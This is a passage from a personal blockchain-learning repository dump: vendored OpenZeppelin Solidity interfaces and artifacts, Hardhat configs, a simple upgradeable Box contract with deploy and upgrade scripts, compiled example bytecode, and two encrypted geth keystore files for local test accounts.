-------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1155Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/IERC1155Receiver.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC20Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/extensions/IERC20Metadata.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1820Registry.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC1820Registry.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC721Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/extensions/IERC721Metadata.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC3156.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC3156FlashBorrower.sol"; 7 | import "./IERC3156FlashLender.sol"; 8 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC721Enumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/extensions/IERC721Enumerable.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1820Implementer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC1820Implementer.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1155MetadataURI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/extensions/IERC1155MetadataURI.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/crosschain/errors.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (crosschain/errors.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | error NotCrossChainCall(); 7 | error InvalidCrossChainSender(address actual, address expected); 8 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/hardhat.config.js: -------------------------------------------------------------------------------- 1 | /** @type import('hardhat/config').HardhatUserConfig */ 2 | require('@nomiclabs/hardhat-ethers'); 3 | require('@openzeppelin/hardhat-upgrades'); 4 | require("@nomicfoundation/hardhat-chai-matchers"); 5 | 6 | module.exports = { 7 | solidity: "0.8.17", 8 | }; 9 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/draft-IERC2612.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/draft-IERC2612.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/extensions/draft-IERC20Permit.sol"; 7 | 8 | interface IERC2612 is IERC20Permit {} 9 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/draft-EIP712.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | // EIP-712 is Final as of 2022-08-11. This file is deprecated. 7 | 8 | import "./EIP712.sol"; 9 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Context.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Context", 4 | "sourceName": "contracts/utils/Context.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /test_ethereum/data/geth/ 2 | 3 | node_modules 4 | .env 5 | coverage 6 | coverage.json 7 | typechain 8 | typechain-types 9 | 10 | # Hardhat files 11 | cache 12 | artifacts 13 | 14 | 15 | node_modules 16 | .env 17 | coverage 18 | coverage.json 19 | typechain 20 | typechain-types 21 | 22 | # Hardhat files 23 | cache 24 | artifacts 25 | 26 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/EIP712.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "EIP712", 4 | "sourceName": "contracts/utils/cryptography/EIP712.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /.idea/learn_blockchain.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ReentrancyGuard.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ReentrancyGuard", 4 | "sourceName": "contracts/security/ReentrancyGuard.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabled.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabled", 4 | "sourceName": "contracts/crosschain/CrossChainEnabled.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabledOptimism.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabledOptimism", 4 | "sourceName": "contracts/crosschain/optimism/CrossChainEnabledOptimism.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabledArbitrumL1.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabledArbitrumL1", 4 | "sourceName": "contracts/crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabledArbitrumL2.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabledArbitrumL2", 4 | "sourceName": "contracts/crosschain/arbitrum/CrossChainEnabledArbitrumL2.sol", 5 | "abi": [], 6 | "bytecode": "0x", 7 | "deployedBytecode": "0x", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/0x00_learn_bytecode.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Example { 5 | address _owner; 6 | uint abc = 0; 7 | constructor() { 8 | _owner = msg.sender; 9 | } 10 | function set_val(uint _value) public { 11 | abc = _value; 12 | } 13 | } 14 | // 请结合本仓库下的文档进行理解:https://github.com/chaseSpace/learn_blockchain/blob/main/ethereum_execute_contract.md -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "ethers": "^5.7.2" 5 | }, 6 | "devDependencies": { 7 | "@nomicfoundation/hardhat-toolbox": "^1.0.2", 8 | "@nomiclabs/hardhat-ethers": "^2.2.2", 9 | "@openzeppelin/contracts-upgradeable": "^4.8.1", 10 | "@openzeppelin/hardhat-upgrades": "^1.22.1", 11 | "hardhat": "^2.12.7" 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/scripts/upgrade_box.js: -------------------------------------------------------------------------------- 1 | // scripts/upgrade_box.js 2 | const {ethers, upgrades} = require("hardhat"); 3 | 4 | async function main() { 5 | const BoxV2 = await ethers.getContractFactory("BoxV2"); 6 | console.log("Upgrading Box..."); 7 | const box = await upgrades.upgradeProxy("0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0", BoxV2); 8 | console.log("Box upgraded"); 9 | } 10 | 11 | main(); 12 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/extensions/draft-ERC721Votes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/draft-ERC721Votes.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | // ERC721Votes was marked as draft due to the EIP-712 dependency. 7 | // EIP-712 is Final as of 2022-08-11. This file is deprecated. 8 | 9 | import "./ERC721Votes.sol"; 10 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/vendor/polygon/IFxMessageProcessor.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (vendor/polygon/IFxMessageProcessor.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | interface IFxMessageProcessor { 6 | function processMessageFromRoot( 7 | uint256 stateId, 8 | address rootMessageSender, 9 | bytes calldata data 10 | ) external; 11 | } 12 | -------------------------------------------------------------------------------- /test_solidity/node_modules/.package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "learn_blockchain", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "node_modules/@openzeppelin/contracts": { 7 | "version": "4.8.0", 8 | "resolved": "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-4.8.0.tgz", 9 | "integrity": "sha512-AGuwhRRL+NaKx73WKRNzeCxOCOCxpaqF+kp8TJ89QzAipSwZy/NoflkWaL9bywXFRhIzXt8j38sfF7KBKCPWLw==" 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/scripts/deploy_upgradeable_box.js: -------------------------------------------------------------------------------- 1 | // scripts/deploy_upgradeable_box.js 2 | const { ethers,upgrades } = require("hardhat"); 3 | 4 | async function main() { 5 | const Box = await ethers.getContractFactory("Box"); 6 | console.log("Deploying Box..."); 7 | const box = await upgrades.deployProxy(Box, [42], { initializer: 'store' }); 8 | await box.deployed(); 9 | console.log("Box deployed to:", box.address); 10 | } 11 | 12 | main(); -------------------------------------------------------------------------------- /test_solidity/learn_bytecode/Example.bin-runtime: -------------------------------------------------------------------------------- 1 | 6080604052348015600f57600080fd5b506004361060285760003560e01c80634edd148314602d575b600080fd5b60436004803603810190603f91906085565b6045565b005b8060018190555050565b600080fd5b6000819050919050565b6065816054565b8114606f57600080fd5b50565b600081359050607f81605e565b92915050565b6000602082840312156098576097604f565b5b600060a4848285016072565b9150509291505056fea264697066735822122035b90a279bfd69292250dbe6e9f45c70ac30c03c0f50b99a887b24d9b292edce64736f6c63430008110033 -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Proxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Proxy", 4 | "sourceName": "contracts/proxy/Proxy.sol", 5 | "abi": [ 6 | { 7 | "stateMutability": "payable", 8 | "type": "fallback" 9 | }, 10 | { 11 | "stateMutability": "payable", 12 | "type": "receive" 13 | } 14 | ], 15 | "bytecode": "0x", 16 | "deployedBytecode": "0x", 17 | "linkReferences": {}, 18 | "deployedLinkReferences": {} 19 | } 20 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat_nft", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "devDependencies": { 13 | "@nomicfoundation/hardhat-toolbox": "^2.0.1", 14 | "hardhat": "^2.12.6" 15 | }, 16 | "dependencies": { 17 | "@openzeppelin/contracts": "^4.8.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /test_ethereum/data/keystore/UTC--2022-11-21T10-50-50.928604000Z--bb2903b12126d4dc8ef38230703d19a1ca6c72f1: -------------------------------------------------------------------------------- 1 | {"address":"bb2903b12126d4dc8ef38230703d19a1ca6c72f1","crypto":{"cipher":"aes-128-ctr","ciphertext":"3db18fe751324f6710b18a1d133764343c71087b6080389bf5113036d2f88c8b","cipherparams":{"iv":"40769836ee6ac0a902446267380a6cee"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"417e01b2f7144efb8197d995c6494ad94b2e4c5db40905b48ac66870a51d96bf"},"mac":"7611edd7ddcf281d3c83328688a04d8e7cce217c1671acf0c48a9bf1dae52322"},"id":"28a5eaf0-5166-43da-9296-7859545515a6","version":3} -------------------------------------------------------------------------------- /test_ethereum/data/keystore/UTC--2022-11-22T00-57-49.288745000Z--901640a6cd1b4ac1f47d6cd93b50143e2053ef87: -------------------------------------------------------------------------------- 1 | {"address":"901640a6cd1b4ac1f47d6cd93b50143e2053ef87","crypto":{"cipher":"aes-128-ctr","ciphertext":"83b9013c4bef57d394c82113723180495b23a187a69ccecbe7224542e2fa2c78","cipherparams":{"iv":"943b6d06955fa898f412da03e65fd9e0"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"5b03ee2c233bc9155a57e75f8234e4a045703968c683e73dabc336ca3d619a0c"},"mac":"c0daf7178261d877d280597621efb81ee6181eef7cefaa2916617b83a68c000c"},"id":"7037214f-2da9-470e-9fd4-d3cef66aaa9e","version":3} -------------------------------------------------------------------------------- /test_solidity/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "learn_blockchain", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "dependencies": { 8 | "@openzeppelin/contracts": "^4.8.0" 9 | } 10 | }, 11 | "node_modules/@openzeppelin/contracts": { 12 | "version": "4.8.0", 13 | "resolved": "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-4.8.0.tgz", 14 | "integrity": "sha512-AGuwhRRL+NaKx73WKRNzeCxOCOCxpaqF+kp8TJ89QzAipSwZy/NoflkWaL9bywXFRhIzXt8j38sfF7KBKCPWLw==" 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/proxy/beacon/IBeacon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev This is the interface that {BeaconProxy} expects of its beacon. 8 | */ 9 | interface IBeacon { 10 | /** 11 | * @dev Must return an address that can be used as a delegate call target. 12 | * 13 | * {BeaconProxy} will check that this address is a contract. 14 | */ 15 | function implementation() external view returns (address); 16 | } 17 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/contracts/Box.sol: -------------------------------------------------------------------------------- 1 | // contracts/Box.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.0; 4 | 5 | contract Box { 6 | uint256 private _value; 7 | 8 | // Emitted when the stored value changes 9 | event ValueChanged(uint256 value); 10 | 11 | // Stores a new value in the contract 12 | function store(uint256 value) public { 13 | _value = value; 14 | emit ValueChanged(value); 15 | } 16 | 17 | // Reads the last stored value 18 | function retrieve() public view returns (uint256) { 19 | return _value; 20 | } 21 | } -------------------------------------------------------------------------------- /.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 15 | -------------------------------------------------------------------------------- /test_solidity/learn_bytecode/Example.bin: -------------------------------------------------------------------------------- 1 | 6080604052600060015534801561001557600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e3806100646000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80634edd148314602d575b600080fd5b60436004803603810190603f91906085565b6045565b005b8060018190555050565b600080fd5b6000819050919050565b6065816054565b8114606f57600080fd5b50565b600081359050607f81605e565b92915050565b6000602082840312156098576097604f565b5b600060a4848285016072565b9150509291505056fea264697066735822122035b90a279bfd69292250dbe6e9f45c70ac30c03c0f50b99a887b24d9b292edce64736f6c63430008110033 -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IBeacon.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IBeacon", 4 | "sourceName": "contracts/proxy/beacon/IBeacon.sol", 5 | "abi": [ 6 | { 7 | "inputs": [], 8 | "name": "implementation", 9 | "outputs": [ 10 | { 11 | "internalType": "address", 12 | "name": "", 13 | "type": "address" 14 | } 15 | ], 16 | "stateMutability": "view", 17 | "type": "function" 18 | } 19 | ], 20 | "bytecode": "0x", 21 | "deployedBytecode": "0x", 22 | "linkReferences": {}, 23 | "deployedLinkReferences": {} 24 | } 25 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Initializable.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Initializable", 4 | "sourceName": "contracts/proxy/utils/Initializable.sol", 5 | "abi": [ 6 | { 7 | "anonymous": false, 8 | "inputs": [ 9 | { 10 | "indexed": false, 11 | "internalType": "uint8", 12 | "name": "version", 13 | "type": "uint8" 14 | } 15 | ], 16 | "name": "Initialized", 17 | "type": "event" 18 | } 19 | ], 20 | "bytecode": "0x", 21 | "deployedBytecode": "0x", 22 | "linkReferences": {}, 23 | "deployedLinkReferences": {} 24 | } 25 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC1822Proxiable.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC1822Proxiable", 4 | "sourceName": "contracts/interfaces/draft-IERC1822.sol", 5 | "abi": [ 6 | { 7 | "inputs": [], 8 | "name": "proxiableUUID", 9 | "outputs": [ 10 | { 11 | "internalType": "bytes32", 12 | "name": "", 13 | "type": "bytes32" 14 | } 15 | ], 16 | "stateMutability": "view", 17 | "type": "function" 18 | } 19 | ], 20 | "bytecode": "0x", 21 | "deployedBytecode": "0x", 22 | "linkReferences": {}, 23 | "deployedLinkReferences": {} 24 | } 25 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC2309.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (interfaces/IERC2309.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev ERC-2309: ERC-721 Consecutive Transfer Extension. 8 | * 9 | * _Available since v4.8._ 10 | */ 11 | interface IERC2309 { 12 | /** 13 | * @dev Emitted when the tokens from `fromTokenId` to `toTokenId` are transferred from `fromAddress` to `toAddress`. 14 | */ 15 | event ConsecutiveTransfer( 16 | uint256 indexed fromTokenId, 17 | uint256 toTokenId, 18 | address indexed fromAddress, 19 | address indexed toAddress 20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/contracts/BoxV2.sol: -------------------------------------------------------------------------------- 1 | // contracts/Box.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.0; 4 | 5 | contract BoxV2 { 6 | uint256 private _value; 7 | 8 | // Emitted when the stored value changes 9 | event ValueChanged(uint256 value); 10 | 11 | // Stores a new value in the contract 12 | function store(uint256 value) public { 13 | _value = value; 14 | emit ValueChanged(value); 15 | } 16 | 17 | // Reads the last stored value 18 | function retrieve() public view returns (uint256) { 19 | return _value; 20 | } 21 | 22 | function increment() public { 23 | _value = _value + 1; 24 | emit ValueChanged(_value); 25 | } 26 | } -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC1155Receiver.sol"; 7 | import "../../../utils/introspection/ERC165.sol"; 8 | 9 | /** 10 | * @dev _Available since v3.1._ 11 | */ 12 | abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { 13 | /** 14 | * @dev See {IERC165-supportsInterface}. 15 | */ 16 | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { 17 | return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Arrays.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Arrays", 4 | "sourceName": "contracts/utils/Arrays.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122049e9d8f47e654eb8dc13aa101063f2a3bb74d34830fd7099dc84a4c20ac9c0a664736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122049e9d8f47e654eb8dc13aa101063f2a3bb74d34830fd7099dc84a4c20ac9c0a664736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Base64.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Base64", 4 | "sourceName": "contracts/utils/Base64.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201eb789c61902270431731acff6989f1970c1bf3bf2e34b366608f0bf9ea846a564736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201eb789c61902270431731acff6989f1970c1bf3bf2e34b366608f0bf9ea846a564736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Clones.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Clones", 4 | "sourceName": "contracts/proxy/Clones.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220d073e22cf9628447c7ba5e5bea0434c4b963a9fed27d6cb660cf4e431a7f57c264736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220d073e22cf9628447c7ba5e5bea0434c4b963a9fed27d6cb660cf4e431a7f57c264736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Math.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Math", 4 | "sourceName": "contracts/utils/math/Math.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ac1b1890121c1c9f90fe02caf0b7165ee25d83508c92fe9cb4c87fe8e952b35664736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ac1b1890121c1c9f90fe02caf0b7165ee25d83508c92fe9cb4c87fe8e952b35664736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Timers.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Timers", 4 | "sourceName": "contracts/utils/Timers.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122059993cbbd065fdd982d6eea7b44c68a73f2963a258a211e62a04b0c44b145bb164736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122059993cbbd065fdd982d6eea7b44c68a73f2963a258a211e62a04b0c44b145bb164736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Address.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Address", 4 | "sourceName": "contracts/utils/Address.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a55310011e5ffbd104f739122110e3d27d0bf0617eb0bd02a1c68dc6633dcd0064736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a55310011e5ffbd104f739122110e3d27d0bf0617eb0bd02a1c68dc6633dcd0064736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Counters.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Counters", 4 | "sourceName": "contracts/utils/Counters.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a0f2d371d3902f9f97698ff62207f2be404c635a455462f7975038bd4ff06c2864736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a0f2d371d3902f9f97698ff62207f2be404c635a455462f7975038bd4ff06c2864736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Create2.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Create2", 4 | "sourceName": "contracts/utils/Create2.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220738b6070945f1ece5734efcb889e50d9dea9289fe0f13ffa93f40734b26f66d264736f6c634300080d0033", 7 | "deployedBytecode": 